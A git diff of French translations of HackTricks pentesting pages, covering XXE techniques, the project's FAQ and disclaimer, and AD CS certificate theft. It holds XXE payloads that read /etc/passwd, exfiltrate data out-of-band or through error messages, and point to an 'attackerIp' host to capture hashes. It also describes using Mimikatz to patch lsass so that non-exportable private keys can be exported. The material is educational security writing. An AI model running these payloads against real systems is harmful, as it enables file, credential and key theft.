- Une redéfinition se produit pour l'entité de paramètre XML `custom_entity`, initialement définie dans le DTD externe, pour encapsuler une [exploitation XXE basée sur les erreurs](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Cette redéfinition est conçue pour provoquer une erreur d'analyse, exposant le contenu du fichier `/etc/passwd`.
- En utilisant l'entité `local_dtd`, le DTD externe est activé, englobant la `custom_entity` nouvellement définie. Cette séquence d'actions provoque l'émission du message d'erreur visé par l'exploit.
- En utilisant l'entité `local_dtd`, le DTD externe est engagé, englobant la `custom_entity` nouvellement définie. Cette séquence d'actions provoque l'émission du message d'erreur visé par l'exploit.
**Exemple du monde réel :** Les systèmes utilisant l'environnement de bureau GNOME ont souvent un DTD à `/usr/share/yelp/dtd/docbookx.dtd` contenant une entité appelée `ISOamso`.
**Exemple du monde réel :** Les systèmes utilisant l'environnement de bureau GNOME ont souvent un DTD à `/usr/share/yelp/dtd/docbookx.dtd` contenant une entité appelée `ISOamso`
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
@ -280,14 +290,14 @@ jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
{% hint style="danger" %}
Pour pouvoir accéder aux fichiers à l'intérieur des fichiers PKZIP est **super utile pour abuser de XXE via des fichiers DTD système.** Consultez [cette section pour apprendre comment abuser des fichiers DTD système](xxe-xee-xml-external-entity.md#error-based-system-dtd).
Pour pouvoir accéder aux fichiers à l'intérieur des fichiers PKZIP est **très utile pour abuser des XXE via les fichiers DTD système.** Consultez [cette section pour apprendre comment abuser des fichiers DTD système](xxe-xee-xml-external-entity.md#error-based-system-dtd).
{% endhint %}
#### Dans les coulisses
1. Il effectue une requête HTTP pour charger l'archive zip. `https://download.host.com/myarchive.zip`
2. Il enregistre la réponse HTTP dans un emplacement temporaire. `/tmp/...`
3. Il extrait l'archive.
3. Il extrait de l'archive.
4. Il lit le fichier `file.zip`
5. Il supprime les fichiers temporaires.
@ -298,7 +308,7 @@ Une fois que le serveur a téléchargé votre fichier, vous devez trouver son em
![Jar](https://gosecure.github.io/xxe-workshop/img/74fac3155d455980.png)
{% hint style="danger" %}
Écrire des fichiers dans un répertoire temporaire peut aider à **escalader une autre vulnérabilité qui implique une traversée de chemin** (comme l'inclusion de fichier local, l'injection de modèle, la RCE XSLT, la désérialisation, etc).
Écrire des fichiers dans un répertoire temporaire peut aider à **escalader une autre vulnérabilité qui implique une traversée de chemin** (comme l'inclusion de fichiers locaux, l'injection de modèles, la RCE XSLT, la désérialisation, etc).
{% endhint %}
### XSS
@ -346,17 +356,15 @@ et en envoyant la requête suivante
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
```
Ensuite, vous pouvez essayer de craquer le hash en utilisant hashcat
## Surfaces XXE Cachées
### XInclude
Dans certains scénarios, **les données envoyées par le client sont incorporées dans un document XML par des processus côté serveur avant l'analyse**. Cela se produit généralement lorsque les données client sont intégrées dans une **requête SOAP backend**, gérée ultérieurement par un service SOAP côté serveur.
Mener une attaque XXE traditionnelle s'avère difficile dans ces cas en raison du contrôle limité sur l'ensemble du document XML, en particulier l'incapacité à modifier ou introduire un élément `DOCTYPE`. Cependant, en exploitant `XInclude`, une fonctionnalité de la norme XML qui permet l'assemblage d'un document XML à partir de sous-documents plus petits, présente une solution de contournement. Cette approche permet une attaque `XInclude` dans n'importe quel élément de données d'un document XML, la rendant réalisable dans les cas où le contrôle est restreint à une pièce de données individuelle intégrée dans un document XML généré par le serveur.
Mener une attaque XXE traditionnelle (XML External Entity) s'avère difficile dans ces cas en raison du contrôle limité sur l'ensemble du document XML, en particulier de l'incapacité à modifier ou introduire un élément `DOCTYPE`. Cependant, en exploitant `XInclude`, une fonctionnalité de la norme XML qui permet l'assemblage d'un document XML à partir de sous-documents plus petits, présente une solution de contournement. Cette approche permet une attaque `XInclude` dans n'importe quel élément de données d'un document XML, la rendant réalisable dans les cas où le contrôle est restreint à une pièce de données individuelle intégrée dans un document XML généré par le serveur.
Pour lancer une attaque `XInclude`, l'inclusion de l'espace de noms `XInclude` est requise, ainsi que la spécification du chemin de fichier destiné à l'inclusion. L'exemple suivant montre comment une telle attaque pourrait être structurée:
Pour lancer une attaque `XInclude`, l'inclusion de l'espace de noms `XInclude` est requise, ainsi que la spécification du chemin de fichier destiné à l'inclusion. L'exemple suivant illustre comment une telle attaque pourrait être structurée:
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
@ -366,7 +374,7 @@ Consultez [https://portswigger.net/web-security/xxe](https://portswigger.net/web
Les fichiers téléchargés par les utilisateurs vers certaines applications, qui sont ensuite traités sur le serveur, peuvent exploiter des vulnérabilités dans la manière dont les fichiers XML ou contenant du XML sont gérés. Des formats de fichiers courants tels que les documents de bureau (DOCX) et les images (SVG) sont basés sur XML.
Lorsque les utilisateurs **téléchargent des images**, ces images sont traitées ou validées côté serveur. Même pour les applications qui s'attendent à des formats tels que PNG ou JPEG, **la bibliothèque de traitement d'images du serveur peut également prendre en charge les images SVG**. SVG, étant un format basé sur XML, peut être exploité par des attaquants pour soumettre des images SVG malveillantes, exposant ainsi le serveur à des vulnérabilités XXE (XML External Entity).
Lorsque les utilisateurs **téléchargent des images**, ces images sont traitées ou validées côté serveur. Même pour les applications qui s'attendent à des formats tels que PNG ou JPEG, la **bibliothèque de traitement d'images du serveur peut également prendre en charge les images SVG**. SVG, étant un format basé sur XML, peut être exploité par des attaquants pour soumettre des images SVG malveillantes, exposant ainsi le serveur à des vulnérabilités XXE (XML External Entity).
Un exemple d'une telle exploitation est présenté ci-dessous, où une image SVG malveillante tente de lire des fichiers système:
```xml
@ -386,7 +394,7 @@ Consultez [https://portswigger.net/web-security/xxe](https://portswigger.net/web
### **PDF - Téléchargement de fichiers**
Consultez le post suivant pour **apprendre à exploiter une XXE en téléchargeant un fichier PDF** :
Lisez le post suivant pour **apprendre à exploiter une XXE en téléchargeant un fichier PDF** :
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
@ -412,7 +420,7 @@ Content-Length: 52
```
### Content-Type: De JSON à XEE
Pour modifier la requête, vous pouvez utiliser une extension Burp nommée "**Content Type Converter**". [Ici](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) vous pouvez trouver cet exemple:
Pour modifier la requête, vous pourriez utiliser une extension Burp nommée "**Content Type Converter**". [Ici](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) vous pouvez trouver cet exemple:
```markup
Content-Type: application/json;charset=UTF-8
@ -452,7 +460,7 @@ Cela ne fonctionne que si le serveur XML accepte le protocole `data://`.
### UTF-7
Vous pouvez utiliser la \[**"Recette d'encodage**" de cyberchef ici ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) pour transformer en UTF-7.
Vous pouvez utiliser la \[**"Recette d'encodage**" de CyberChef ici ]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) pour transformer en UTF-7.
```markup
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -502,7 +510,7 @@ Exemple de DTD :
```
### Exécution de code à distance
**Si le module PHP "expect" est chargé**
**Si le module "expect" de PHP est chargé**
```markup
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
@ -518,12 +526,13 @@ Exemple de DTD :
```
## XLIFF - XXE
Cette section a été extraite de [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)\
Selon [Wikipedia](https://en.wikipedia.org/wiki/XLIFF):
Cet exemple est inspiré de [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
> XLIFF (XML Localization Interchange File Format) est un format de fichier bitexte basé sur XML créé pour standardiser la manière dont les données localisables sont transmises entre les outils pendant un processus de localisation et un format commun pour l'échange d'outils CAT.
XLIFF (XML Localization Interchange File Format) est utilisé pour standardiser l'échange de données dans les processus de localisation. C'est un format basé sur XML principalement utilisé pour transférer des données localisables entre des outils lors de la localisation et comme format d'échange commun pour les outils CAT (Computer-Aided Translation).
### Requête aveugle
### Analyse de la requête aveugle
Une requête est envoyée au serveur avec le contenu suivant:
```markup
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -535,14 +544,15 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Le serveur répond avec une erreur :
```javascript
Cependant, cette requête déclenche une erreur interne du serveur, mentionnant spécifiquement un problème avec les déclarations de balisage :
```json
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
```
Mais nous avons eu un hit sur Burp Collaborator.
Malgré l'erreur, un hit est enregistré sur Burp Collaborator, indiquant un certain niveau d'interaction avec l'entité externe.
### Exfiltration de données via Out of Band
```markup
Exfiltration de données hors bande
Pour exfiltrer des données, une requête modifiée est envoyée :
```
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
@ -553,31 +563,29 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Basé sur l'Agent utilisateur affiché retourné par Burp Collaborator, il semble qu'il utilise **Java 1.8**. L'un des problèmes lors de l'exploitation de XXE sur cette version de Java est **que nous ne pouvons pas obtenir les fichiers contenant un `Nouvelle Ligne`** tels que `/etc/passwd` en utilisant la technique Out of Band.
Cela révèle que l'Agent utilisateur indique l'utilisation de Java 1.8. Une limitation notée avec cette version de Java est l'incapacité de récupérer des fichiers contenant un caractère de nouvelle ligne, tel que /etc/passwd, en utilisant la technique Out of Band.
### Exfiltration de données via l'erreur basée
Fichier DTD :
```markup
Exfiltration de données basée sur les erreurs
Pour surmonter cette limitation, une approche basée sur les erreurs est utilisée. Le fichier DTD est structuré comme suit pour déclencher une erreur qui inclut des données d'un fichier cible:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
```
Réponse du serveur:
Le serveur répond avec une erreur, indiquant de manière importante le fichier inexistant, ce qui indique que le serveur tente d'accéder au fichier spécifié:
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
Super! Le fichier `non-exist` est reflété dans les messages d'erreur. Ensuite, ajoutez le contenu du fichier.
Fichier DTD :
```markup
Pour inclure le contenu du fichier dans le message d'erreur, le fichier DTD est ajusté :
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
```
Et le contenu du fichier a été **imprimé dans la sortie de l'erreur envoyée via HTTP**.
Cette modification conduit à l'exfiltration réussie du contenu du fichier, comme le reflète la sortie d'erreur envoyée via HTTP. Cela indique une attaque XXE (Entité Externe XML) réussie, exploitant à la fois les techniques Out of Band et Error-Based pour extraire des informations sensibles.
## RSS - XEE
@ -652,7 +660,7 @@ Utilisation du filtre base64 PHP
```
## Java XMLDecoder XEE to RCE
XMLDecoder est une classe Java qui crée des objets basés sur un message XML. Si un utilisateur malveillant peut amener une application à utiliser des données arbitraires dans un appel à la méthode **readObject**, il obtiendra instantanément l'exécution de code sur le serveur.
XMLDecoder est une classe Java qui crée des objets basés sur un message XML. Si un utilisateur malveillant parvient à amener une application à utiliser des données arbitraires dans un appel à la méthode **readObject**, il obtiendra instantanément l'exécution de code sur le serveur.
### Utilisation de Runtime().exec()
```markup

26
welcome/hacktricks-values-and-faq.md
View file

@ -63,7 +63,7 @@ Oui, vous le pouvez, mais **n'oubliez pas de mentionner le(s) lien(s) spécifiqu
* **Comment puis-je citer une page de HackTricks ?**
{% endhint %}
Tant que le lien **de** la ou des page(s) d'où vous avez pris les informations apparaît, c'est suffisant.\
Tant que le lien **de** la ou des pages d'où vous avez pris les informations apparaît, c'est suffisant.\
Si vous avez besoin d'un bibtex, vous pouvez utiliser quelque chose comme :
```latex
@misc{hacktricks-bibtexing,
@ -85,19 +85,19 @@ Si vous craignez qu'il disparaisse, il vous suffit de le cloner sur Github ou de
* **Pourquoi avez-vous des sponsors? Les livres HackTricks sont-ils à des fins commerciales?**
{% endhint %}
La première **valeur de HackTricks** est d'offrir des ressources pédagogiques de piratage **GRATUITES** à **TOUS** dans le monde. L'équipe HackTricks a **consacré des milliers d'heures** pour offrir ce contenu, encore une fois, **GRATUITEMENT**.
La première **valeur des HackTricks** est d'offrir des ressources pédagogiques de piratage **GRATUITES** à **TOUS** dans le monde. L'équipe HackTricks a **consacré des milliers d'heures** pour offrir ce contenu, encore une fois, **GRATUITEMENT**.
Si vous pensez que les livres HackTricks sont faits à des fins **commerciales**, vous avez **TOTALEMENT TORT**.
Nous avons des sponsors parce que, même si tout le contenu est GRATUIT, nous voulons **offrir à la communauté la possibilité d'apprécier notre travail** s'ils le souhaitent. Par conséquent, nous offrons aux gens la possibilité de faire des dons à HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), et **aux entreprises de cybersécurité pertinentes** de parrainer HackTricks et d'avoir **des publicités** dans le livre, les **publicités** étant toujours placées à des endroits où elles sont **visibles** mais **ne perturbent pas l'apprentissage** si quelqu'un se concentre sur le contenu.
Nous avons des sponsors parce que, même si tout le contenu est GRATUIT, nous voulons **offrir à la communauté la possibilité d'apprécier notre travail** s'ils le souhaitent. Par conséquent, nous offrons aux gens la possibilité de faire des dons à HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), et **aux entreprises de cybersécurité pertinentes** de parrainer HackTricks et d'avoir **quelques publicités** dans le livre, les **publicités** étant toujours placées à des endroits où elles sont **visibles** mais **ne perturbent pas l'apprentissage** si quelqu'un se concentre sur le contenu.
Vous ne trouverez pas HackTricks rempli de publicités ennuyeuses comme d'autres blogs avec beaucoup moins de contenu que HackTricks, car HackTricks n'est pas fait à des fins commerciales.
Vous ne trouverez pas de publicités ennuyeuses dans HackTricks comme dans d'autres blogs avec beaucoup moins de contenu que HackTricks, car HackTricks n'est pas fait à des fins commerciales.
{% hint style="danger" %}
* **Que dois-je faire si une page HackTricks est basée sur un article de mon blog mais n'est pas référencée?**
* **Que dois-je faire si une page des HackTricks est basée sur un article de mon blog mais n'est pas référencée?**
{% endhint %}
**Nous sommes désolés. Cela ne devrait pas se produire**. S'il vous plaît, faites-le nous savoir via les problèmes Github, Twitter, Discord... le lien de la page HackTricks avec le contenu et le lien de votre blog et **nous le vérifierons et l'ajouterons dès que possible**.
**Nous sommes vraiment désolés. Cela ne devrait pas être arrivé**. S'il vous plaît, faites-le nous savoir via les problèmes Github, Twitter, Discord... le lien de la page HackTricks avec le contenu et le lien de votre blog et **nous le vérifierons et l'ajouterons dès que possible**.
{% hint style="danger" %}
* **Que dois-je faire s'il y a du contenu de mon blog dans HackTricks et que je ne veux pas qu'il y soit?**
@ -111,7 +111,7 @@ Notez qu'en demandant cela, nous supprimerons définitivement **tous les liens v
* **Que dois-je faire si je trouve du contenu copié-collé dans HackTricks?**
{% endhint %}
**Malheureusement, cette pratique remonte au début du projet**. Nous avons toujours essayé de **donner tout le crédit aux auteurs originaux**. Si vous trouvez une page avec du contenu copié-collé (même avec la source originale référencée), faites-le nous savoir et nous le **supprimerons**, **laisserons le lien**, ou le **réécrirons**.
**Malheureusement, cette pratique a pu se produire au début du projet lorsque cette page n'était que les notes d'un pentester**. Nous essayons toujours de **donner tout le crédit aux auteurs originaux**. Si vous trouvez une page avec du contenu copié-collé (même avec la source originale référencée), faites-le nous savoir et nous le **supprimerons**, **laisserons le lien**, ou le **réécrirons**.
{% hint style="danger" %}
@ -123,27 +123,27 @@ Notez qu'en demandant cela, nous supprimerons définitivement **tous les liens v
## **Clause de non-responsabilité**
{% hint style="danger" %}
Ce livre, 'HackTricks', est destiné à des fins éducatives et informatives uniquement. Le contenu de ce livre est fourni tel quel, et les auteurs et éditeurs ne font aucune déclaration ou garantie d'aucune sorte, expresse ou implicite, sur l'exhaustivité, l'exactitude, la fiabilité, la pertinence ou la disponibilité des informations, produits, services ou graphiques connexes contenus dans ce livre. Toute confiance que vous accordez à ces informations se fait donc strictement à vos risques et périls.
Ce livre, 'HackTricks', est destiné à des fins éducatives et informatives uniquement. Le contenu de ce livre est fourni sur la base du "tel quel", et les auteurs et éditeurs ne font aucune déclaration ou garantie d'aucune sorte, expresse ou implicite, sur l'exhaustivité, l'exactitude, la fiabilité, la pertinence ou la disponibilité des informations, produits, services ou graphiques connexes contenus dans ce livre. Toute confiance que vous accordez à de telles informations est donc strictement à vos risques et périls.
Les auteurs et éditeurs ne seront en aucun cas responsables de toute perte ou dommage, y compris, sans limitation, les pertes ou dommages indirects ou consécutifs, ou toute perte ou dommage découlant de la perte de données ou de bénéfices résultant de, ou en relation avec, l'utilisation de ce livre.
Les auteurs et éditeurs ne seront en aucun cas responsables de toute perte ou dommage, y compris, sans limitation, perte ou dommage indirect ou consécutif, ou toute perte ou dommage de quelque nature que ce soit découlant de la perte de données ou de bénéfices résultant de, ou en relation avec, l'utilisation de ce livre.
De plus, les techniques et astuces décrites dans ce livre sont fournies à des fins éducatives et informatives uniquement, et ne doivent pas être utilisées à des fins illégales ou malveillantes. Les auteurs et éditeurs ne cautionnent ni ne soutiennent aucune activité illégale ou contraire à l'éthique, et toute utilisation des informations contenues dans ce livre se fait aux risques et périls de l'utilisateur et à sa discrétion.
L'utilisateur est seul responsable de toute action entreprise sur la base des informations contenues dans ce livre, et doit toujours demander l'avis et l'assistance de professionnels lorsqu'il tente de mettre en œuvre l'une des techniques ou astuces décrites ici.
L'utilisateur est seul responsable de toute action entreprise sur la base des informations contenues dans ce livre, et doit toujours demander conseil et assistance professionnels lorsqu'il tente de mettre en œuvre l'une des techniques ou astuces décrites ici.
En utilisant ce livre, l'utilisateur accepte de dégager les auteurs et éditeurs de toute responsabilité et de toute responsabilité pour tout dommage, perte ou préjudice pouvant résulter de l'utilisation de ce livre ou de l'une des informations qu'il contient.
{% endhint %}
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) **et** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **dépôts Github.**
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) **et** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github repos.**
</details>

117
windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md
View file

@ -1,22 +1,25 @@
# Vol de certificats AD CS
# Vol de Certificat AD CS
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
**Il s'agit d'un petit résumé de la recherche impressionnante de [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf)**
## Que puis-je faire avec un certificat
Avant de vérifier comment voler les certificats, voici quelques informations sur comment trouver à quoi le certificat est utile :
Avant de vérifier comment voler les certificats, voici quelques informations sur l'utilisation possible des certificats :
```powershell
# Powershell
$CertPath = "C:\path\to\cert.pfx"
@ -28,16 +31,15 @@ $Cert.EnhancedKeyUsageList
# cmd
certutil.exe -dump -v cert.pfx
```
## Exportation de certificats en utilisant les API Crypto – THEFT1
## Export des certificats en utilisant les API de cryptographie – VOL1
La manière la plus simple d'extraire un certificat d'utilisateur ou de machine et sa clé privée est via une **session de bureau interactive**. Si la **clé privée** est **exportable**, il suffit de cliquer droit sur le certificat dans `certmgr.msc`, et de sélectionner `Toutes les tâches → Exporter`... pour exporter un fichier .pfx protégé par mot de passe. \
On peut également accomplir cela **programmatiquement**. Des exemples incluent le cmdlet `ExportPfxCertificate` de PowerShell ou [le projet C# CertStealer de TheWover](https://github.com/TheWover/CertStealer).
Dans une **session de bureau interactive**, extraire un certificat utilisateur ou machine, ainsi que la clé privée, peut être facilement réalisé, en particulier si la **clé privée est exportable**. Cela peut être réalisé en naviguant jusqu'au certificat dans `certmgr.msc`, en faisant un clic droit dessus, et en sélectionnant `Toutes les tâches → Exporter` pour générer un fichier .pfx protégé par mot de passe.
Ces méthodes utilisent en sous-jacent l'**API Crypto de Microsoft** (CAPI) ou l'API de Cryptographie de nouvelle génération (CNG) pour interagir avec le magasin de certificats. Ces API effectuent divers services cryptographiques nécessaires pour le stockage et l'authentification des certificats (entre autres utilisations).
Pour une **approche programmatique**, des outils tels que la cmdlet PowerShell `ExportPfxCertificate` ou des projets comme [le projet C# CertStealer de TheWover](https://github.com/TheWover/CertStealer) sont disponibles. Ceux-ci utilisent le **Microsoft CryptoAPI** (CAPI) ou l'API de cryptographie : Next Generation (CNG) pour interagir avec le magasin de certificats. Ces API fournissent une gamme de services cryptographiques, y compris ceux nécessaires pour le stockage et l'authentification des certificats.
Si la clé privée n'est pas exportable, CAPI et CNG ne permettront pas l'extraction de certificats non exportables. Les commandes `crypto::capi` et `crypto::cng` de **Mimikatz** peuvent patcher CAPI et CNG pour **permettre l'exportation** des clés privées. `crypto::capi` **patche** **CAPI** dans le processus actuel tandis que `crypto::cng` nécessite le **patchage** de la mémoire de **lsass.exe**.
Cependant, si une clé privée est définie comme non exportable, à la fois CAPI et CNG bloqueront normalement l'extraction de tels certificats. Pour contourner cette restriction, des outils comme **Mimikatz** peuvent être utilisés. Mimikatz propose les commandes `crypto::capi` et `crypto::cng` pour patcher les API respectives, permettant l'exportation des clés privées. Plus précisément, `crypto::capi` patche le CAPI dans le processus en cours, tandis que `crypto::cng` cible la mémoire de **lsass.exe** pour le patch.
## Vol de certificat utilisateur via DPAPI – THEFT2
## Vol de certificat utilisateur via DPAPI – VOL2
Plus d'informations sur DPAPI dans :
@ -45,79 +47,72 @@ Plus d'informations sur DPAPI dans :
[dpapi-extracting-passwords.md](../../windows-local-privilege-escalation/dpapi-extracting-passwords.md)
{% endcontent-ref %}
Windows **stocke les clés privées des certificats en utilisant DPAPI**. Microsoft distingue les emplacements de stockage pour les clés privées d'utilisateur et de machine. Lors du déchiffrement manuel des blobs DPAPI chiffrés, un développeur doit comprendre quelle API de cryptographie l'OS a utilisée car la structure des fichiers de clé privée varie entre les deux API. Lors de l'utilisation de SharpDPAPI, il prend automatiquement en compte ces différences de format de fichier.&#x20;
Sous Windows, **les clés privées des certificats sont protégées par DPAPI**. Il est crucial de reconnaître que les **emplacements de stockage des clés privées utilisateur et machine** sont distincts, et que les structures de fichiers varient en fonction de l'API cryptographique utilisée par le système d'exploitation. **SharpDPAPI** est un outil qui peut naviguer automatiquement dans ces différences lors du déchiffrement des blobs DPAPI.
